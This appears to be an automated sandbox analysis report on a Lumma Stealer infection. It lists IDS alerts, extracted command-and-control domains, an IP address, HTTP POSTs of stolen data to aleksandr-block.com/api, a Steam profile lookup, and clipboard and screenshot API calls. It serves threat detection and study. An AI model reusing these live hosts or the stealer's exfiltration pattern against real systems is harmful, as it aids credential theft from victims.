Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then movzx ecx, word ptr [edi+esi*4]	10_2_004075F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov dword ptr [esp], CF132E6Eh	10_2_004415F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then movzx ebp, byte ptr [esp+eax-02h]	10_2_004415F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp ecx	10_2_004415F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then cmp al, 2Eh	10_2_00427E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	10_2_00438600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov eax, ebx	10_2_0041C620
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then cmp al, 2Eh	10_2_00427E30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+24h]	10_2_00427E30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then movsx eax, byte ptr [esi+ecx]	10_2_0041E750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx]	10_2_0043CF68
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then push edi	10_2_0040BF73
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then movzx edi, byte ptr [esp+ecx+51047AABh]	10_2_00414710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then movzx eax, byte ptr [esp+ecx-180897B1h]	10_2_0043E7C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+28h]	10_2_0041A7C6

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2059141 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (marketlumpe .biz) : 192.168.2.10:57333 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2059151 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spookycappy .biz) : 192.168.2.10:62955 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2059145 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (punishzement .biz) : 192.168.2.10:57389 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2059135 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grandiouseziu .biz) : 192.168.2.10:57637 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2059133 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fraggielek .biz) : 192.168.2.10:64828 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2059137 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (littlenotii .biz) : 192.168.2.10:54196 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2059153 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (truculengisau .biz) : 192.168.2.10:64010 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2059143 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (nuttyshopr .biz) : 192.168.2.10:54253 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.10:49717 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.10:49717 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.10:49704 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.10:49711 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.10:49711 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.10:49751 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.10:49782 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.10:49761 -> 188.114.97.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: nuttyshopr.biz
Source: Malware configuration extractor	URLs: truculengisau.biz
Source: Malware configuration extractor	URLs: punishzement.biz
Source: Malware configuration extractor	URLs: marketlumpe.biz
Source: Malware configuration extractor	URLs: spookycappy.biz
Source: Malware configuration extractor	URLs: fraggielek.biz
Source: Malware configuration extractor	URLs: grandiouseziu.biz
Source: Malware configuration extractor	URLs: littlenotii.biz

Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 104.102.49.254 104.102.49.254

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49704 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49711 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49751 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49737 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49717 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49745 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49782 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49761 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49728 -> 188.114.97.3:443

Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: aleksandr-block.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 47Host: aleksandr-block.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=NKJ1O0YHINCT89User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12823Host: aleksandr-block.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=9ILC58YHXFUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15026Host: aleksandr-block.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=LXMO8YRWF56EDZ7QNEUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20436Host: aleksandr-block.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=M4F5EDKMPZFTENUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1212Host: aleksandr-block.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=IR3AP3E77User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 590322Host: aleksandr-block.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 82Host: aleksandr-block.com

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com

Source: global traffic	DNS traffic detected: DNS query: littlenotii.biz
Source: global traffic	DNS traffic detected: DNS query: fraggielek.biz
Source: global traffic	DNS traffic detected: DNS query: grandiouseziu.biz
Source: global traffic	DNS traffic detected: DNS query: marketlumpe.biz
Source: global traffic	DNS traffic detected: DNS query: nuttyshopr.biz
Source: global traffic	DNS traffic detected: DNS query: punishzement.biz
Source: global traffic	DNS traffic detected: DNS query: spookycappy.biz
Source: global traffic	DNS traffic detected: DNS query: truculengisau.biz
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: aleksandr-block.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: aleksandr-block.com

Source: powershell.exe, 00000001.00000002.1302987160.000001E0A0D18000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1322020182.000001E0AF2D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000001.00000002.1302987160.000001E09F368000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1302987160.000001E0A09DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000001.00000002.1302987160.000001E09F141000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000001.00000002.1302987160.000001E0A09DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 00000001.00000002.1302987160.000001E09F368000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1302987160.000001E0A09DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000001.00000002.1302987160.000001E09F141000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: RegSvcs.exe, 0000000A.00000002.1443386396.0000000000FC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aleksandr-block.com/
Source: RegSvcs.exe, 0000000A.00000002.1443386396.0000000000FC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aleksandr-block.com/#p
Source: RegSvcs.exe, 0000000A.00000002.1443386396.0000000000FC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aleksandr-block.com/&v
Source: RegSvcs.exe, 0000000A.00000002.1443386396.0000000000FC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aleksandr-block.com/&vi
Source: RegSvcs.exe, 0000000A.00000002.1443386396.0000000000FC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aleksandr-block.com/api
Source: RegSvcs.exe, 0000000A.00000002.1443386396.0000000000FC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aleksandr-block.com/apiAPPDATA=C:
Source: RegSvcs.exe, 0000000A.00000002.1443386396.0000000000FC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aleksandr-block.com/apiY
Source: RegSvcs.exe, 0000000A.00000002.1443386396.0000000000FC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aleksandr-block.com/apia
Source: RegSvcs.exe, 0000000A.00000002.1443386396.0000000000FC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aleksandr-block.com/pii
Source: RegSvcs.exe, 0000000A.00000002.1441949055.0000000000F33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aleksandr-block.com:443/api
Source: RegSvcs.exe, 0000000A.00000002.1441949055.0000000000F33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aleksandr-block.com:443/api0
Source: powershell.exe, 00000001.00000002.1322020182.000001E0AF2D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000001.00000002.1322020182.000001E0AF2D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000001.00000002.1322020182.000001E0AF2D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000001.00000002.1302987160.000001E09F368000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1302987160.000001E0A09DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000001.00000002.1302987160.000001E0A0423000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: RegSvcs.exe, 0000000A.00000002.1441949055.0000000000F33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grandiouseziu.biz:443/api
Source: powershell.exe, 00000001.00000002.1302987160.000001E0A0D18000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1322020182.000001E0AF2D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000001.00000002.1302987160.000001E0A09DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.org
Source: powershell.exe, 00000001.00000002.1302987160.000001E0A09DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.orgX
Source: RegSvcs.exe, 0000000A.00000002.1441949055.0000000000F33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://punishzement.biz:443/apim8
Source: RegSvcs.exe, 0000000A.00000002.1441949055.0000000000F33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com:443/profiles/76561199724331900

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.10:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.10:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.10:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.10:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.10:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.10:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.10:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.10:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.10:49782 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 10_2_00436170 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

10_2_00436170

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 10_2_00436170 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

10_2_00436170

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 10_2_004368B6 GetDC,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,

10_2_004368B6

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Window created: window name: CLIPBRDWNDCLASS

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FF7C0FD514A	1_2_00007FF7C0FD514A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FF7C0FD5198	1_2_00007FF7C0FD5198
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FF7C0FDA619	1_2_00007FF7C0FDA619
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FF7C0FDA5D9	1_2_00007FF7C0FDA5D9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FF7C10A0FA4	1_2_00007FF7C10A0FA4
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FF7C10A1648	1_2_00007FF7C10A1648
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00408860	10_2_00408860
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00442900	10_2_00442900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_0040BB50	10_2_0040BB50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00427B30	10_2_00427B30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00410409	10_2_00410409
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_0043B500	10_2_0043B500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_0042E5CA	10_2_0042E5CA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00420DF0	10_2_00420DF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00424D94	10_2_00424D94
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00414E18	10_2_00414E18
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_0040AEC0	10_2_0040AEC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_004097E0	10_2_004097E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00441FA0	10_2_00441FA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00425870	10_2_00425870
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00419000	10_2_00419000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00406820	10_2_00406820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_0042003A	10_2_0042003A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_0042889D	10_2_0042889D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_0043C0A0	10_2_0043C0A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_0042F0BD	10_2_0042F0BD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00403960	10_2_00403960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_0041C960	10_2_0041C960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00429161	10_2_00429161
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00429968	10_2_00429968
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_0043997F	10_2_0043997F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_0042F12D	10_2_0042F12D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_0042F1D9	10_2_0042F1D9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_0040A9F0	10_2_0040A9F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_004119B0	10_2_004119B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_0040EA60	10_2_0040EA60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_0042EA61	10_2_0042EA61
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00435268	10_2_00435268
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00415A2F	10_2_00415A2F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00416A39	10_2_00416A39
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_004172C8	10_2_004172C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_0041EAD0	10_2_0041EAD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_0042CAD0	10_2_0042CAD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_004412D0	10_2_004412D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_0042D2E0	10_2_0042D2E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00428AF7	10_2_00428AF7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00421A80	10_2_00421A80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00440A81	10_2_00440A81
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00417AB2	10_2_00417AB2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00418ABC	10_2_00418ABC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_0043EB40	10_2_0043EB40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_0040CB50	10_2_0040CB50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00402B70	10_2_00402B70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_0042E370	10_2_0042E370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_0043AB70	10_2_0043AB70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00432B7F	10_2_00432B7F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00404310	10_2_00404310
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00433320	10_2_00433320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00442320	10_2_00442320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00405B30	10_2_00405B30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00419B30	10_2_00419B30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_004413C0	10_2_004413C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_004273D0	10_2_004273D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_004413D7	10_2_004413D7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_004413D9	10_2_004413D9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_004393F6	10_2_004393F6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00406390	10_2_00406390
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_0040B620	10_2_0040B620
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00425470	10_2_00425470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_0042FC10	10_2_0042FC10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_0041D4C0	10_2_0041D4C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_004414C0	10_2_004414C0
